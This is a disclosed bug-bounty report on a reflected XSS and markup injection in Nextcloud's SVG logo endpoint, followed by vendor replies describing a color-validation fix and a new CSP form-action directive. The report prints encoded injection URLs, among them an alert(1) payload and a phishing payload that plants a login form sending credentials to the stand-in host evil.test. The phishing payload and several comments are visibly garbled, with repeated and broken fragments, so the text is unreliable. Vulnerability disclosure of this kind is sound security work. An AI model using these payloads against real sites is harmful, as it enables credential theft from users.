Reflected XSS / Markup Injection in 'index.php/svg/core/logo/logo' parameter 'color'

Share: **f y** in Y

TIMELINE

Jun 11th (4 years ago)

eddyb submitted a report to Nextcloud.

Just found a reflected Cross-Site Scripting (XSS) vulnerability in Nextcloud Server that affects current stable and dates back to at least 15.0.5.

The vulnerability seems mitigated by a Content-Security-Policy (CSP), but there might be a residual risk for phishing, due to the CSP's lack of a form-action directive.

Steps to repeat (for basic XSS):

- 0) Replace server.test in the following URLs with your own test instance of Nextcloud.
- 1) Open Developer Tools (alternatively, disable CSP in your browser:-))
- 2) go to https://server.test/nextcloud/index.php/svg/core/logo/logo?

color=f00%22/%3E%3Cg%20onload=%22javascript:alert(1)%22%3E%3C/g%3E%3Ccircle%20alt=%22meh

3) Observe the CSP violation (alternatively, the alert popup)

Steps to repeat for phishing

0) Replace server.test in the following URLS with your own test instance of Nextcloud.

1) Visit https://server.test/nextcloud/index.php/svg/core/logo/logo?

color = fff%22/%3E%3C for eignObject%20class = %22 node%22%20x = %220%22%20y = %220%22%20width = %22600%22%20height = %22600%22%3E%3C for eignObject%20class = %22 node%22%20x = %220%22%20y = %220%22%20width = %22600%22%20height = %22600%22%3E%3C for eignObject%20class = %22 node%22%20x = %220%22%20y = %220%22%20width = %22600%22%20height = %22600%22%3E%3C for eignObject%20class = %22000%22%20x = %220%22%20x = %220%22x = %220x = %220%22x = %220x = %2xmlns = %22 http://www.w3.org/1999/xhtml%22%3E%3Cp%3ELogin%3C/p%3E%3Cform%20action = %22//evil.test%22%3E%3Cinput%20placeholder = %22User/w22http://www.w3.org/1999/xhtml%22%3E%3Cp%3ELogin%3C/p%3E%3Cform%20action = %22//evil.test%22%3E%3Cinput%20placeholder = %22User/w22http://www.w3.org/1999/xhtml%22%3E%3Cp%3ELogin%3C/p%3E%3Cform%20action = %22//evil.test%22%3E%3Cinput%20placeholder = %22User/w22http://www.w3.org/1999/xhtml%22%3E%3Cp%3ELogin%3C/p%3E%3Cform%20action = %22//evil.test%22%3E%3Cinput%20placeholder = %22User/w22W3E%3Cinput%20placeholder = %22Usename %22%20 type = %22 text %22/%3 E%3 Cbr/%3 E%20%3 Cinput %20 placeholder = %22 Password %22%20 type = %22 text %22%20/%3 E%3 Cbr/%3 E%3 Cinput %20 placeholder = %22 Password %22%20 type = %22 text %22%20 / %3 E%3 Cbr/%3 E%3 Cinput %20 placeholder = %22 Password %22%20 type = %22 text %22%20 / %3 E%3 Cbr/%3 E%3 Cinput %20 placeholder = %22 Password %22%20 type = %22 text %22%20 / %3 E%3 Cbr/%3 E%3 Cinput %20 placeholder = %22 Password %22%20 type = %22 text %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22%20 / %3 E%3 Cinput %20 placeholder = %22 Password %22 Passwtype=%22submit%22%20value=%22Login%22%20/%3E%3C/form%3E%3C/div%3E%3C/foreignObject%3E%3Ccircle%20alt=%22B/foreignObject%3E%3C/foreignObject%3E%3

1a) For improved readability, here's the resulting SVG source code

2) Observe how we injected a login form that points to https://evil.test. Note that further styling using CSS files of the currently applied theme could be used to make the attack more convincing. Additionally, an attacker might put the Nextcloud instance into an iframe, to hide the injection from the address bar (depending on X-Frame-Options header).

Impact

- Phishing
- XSS on the nextcloud instance, if the CSP is bypassed (rather unlikely)

hanks a lot for reporting this potential issue back to us!

Jun 11th (4 years ago)

Our security team will take a look at this issue as soon as possible. We will reply to your report within 72 hours, usually much faster. For obvious reasons we'd like to ask you to not disclose this issue to any other party.

Note that further styling using CSS files of the currently applied theme could be used to make the attack more convincing. Additionally, an attacker might put the Nextcloud instance into an iframe, to hide the injection from the address bar (depending on X-Frame-Options header).

I just noticed the CSP's style-src directive allows 'unsafe-inline', so the phishing vector could be styled arbitrarily.

The injection happens in the colorizeSvg | function in IconsCacher.php in (line 186, permalink), as the color value is neither being validated nor escaped. The color comes from SvgController.php getSvg() function (line 127, permalink).

I haven't dug deep enough to see whether Nextcloud server usually escapes in the sources or in the sink, so depending on other callers of colorizeSvg , you might just add a regex filter that limits colors to a regular expression of [0-9a-f]{1,6} at the very beginning of the function.

Jun 20th (4 years ago)

Sorry for the long delay, we had 2 parental leave issues and another leave sadly covering all 3 of our hackerone users at the same time.

I went for the IconsCacher as a fix location, we check for [0-9a-f]{3,6} now and fall back to black in case it doesn't match: https://github.com/nextcloud/server/pull/16021/files

Since I couldn't see any impact due to CSP, I will discuss the reward with my colleagues early next week.

O- nickvergessen (Nextcloud staff) changed the status to • Triaged.

lease credit me as Frederik Braun with the link to https://frederik-braun.com - Thank you! Jul 15th (3 years ago) Ilzer requested to disclose this report. Jul 30th (3 years ago) Tthe advisory is pending internally. Once published a CVE will be requested as well. Regarding the form-actions this is actually on my list already and it just moved a bit higher. So I'll look into this now. Cheers, --Roeland llzer posted a comment. Jul 30th (3 years ago) Solchecked and in the upcoming release we actually set a very strict CSP for all non template responses. So it should be catched then. Never the less I will add form-less than the properties of the propertiesaction support in our CSP. Cheers, --Roeland ullzer posted a comment. Jul 30th (3 years ago) Ah no it does not... default fallback is to allow everything. In any case https://github.com/nextcloud/server/pull/16618 adds it:) --Roeland

O- This report has been disclosed.
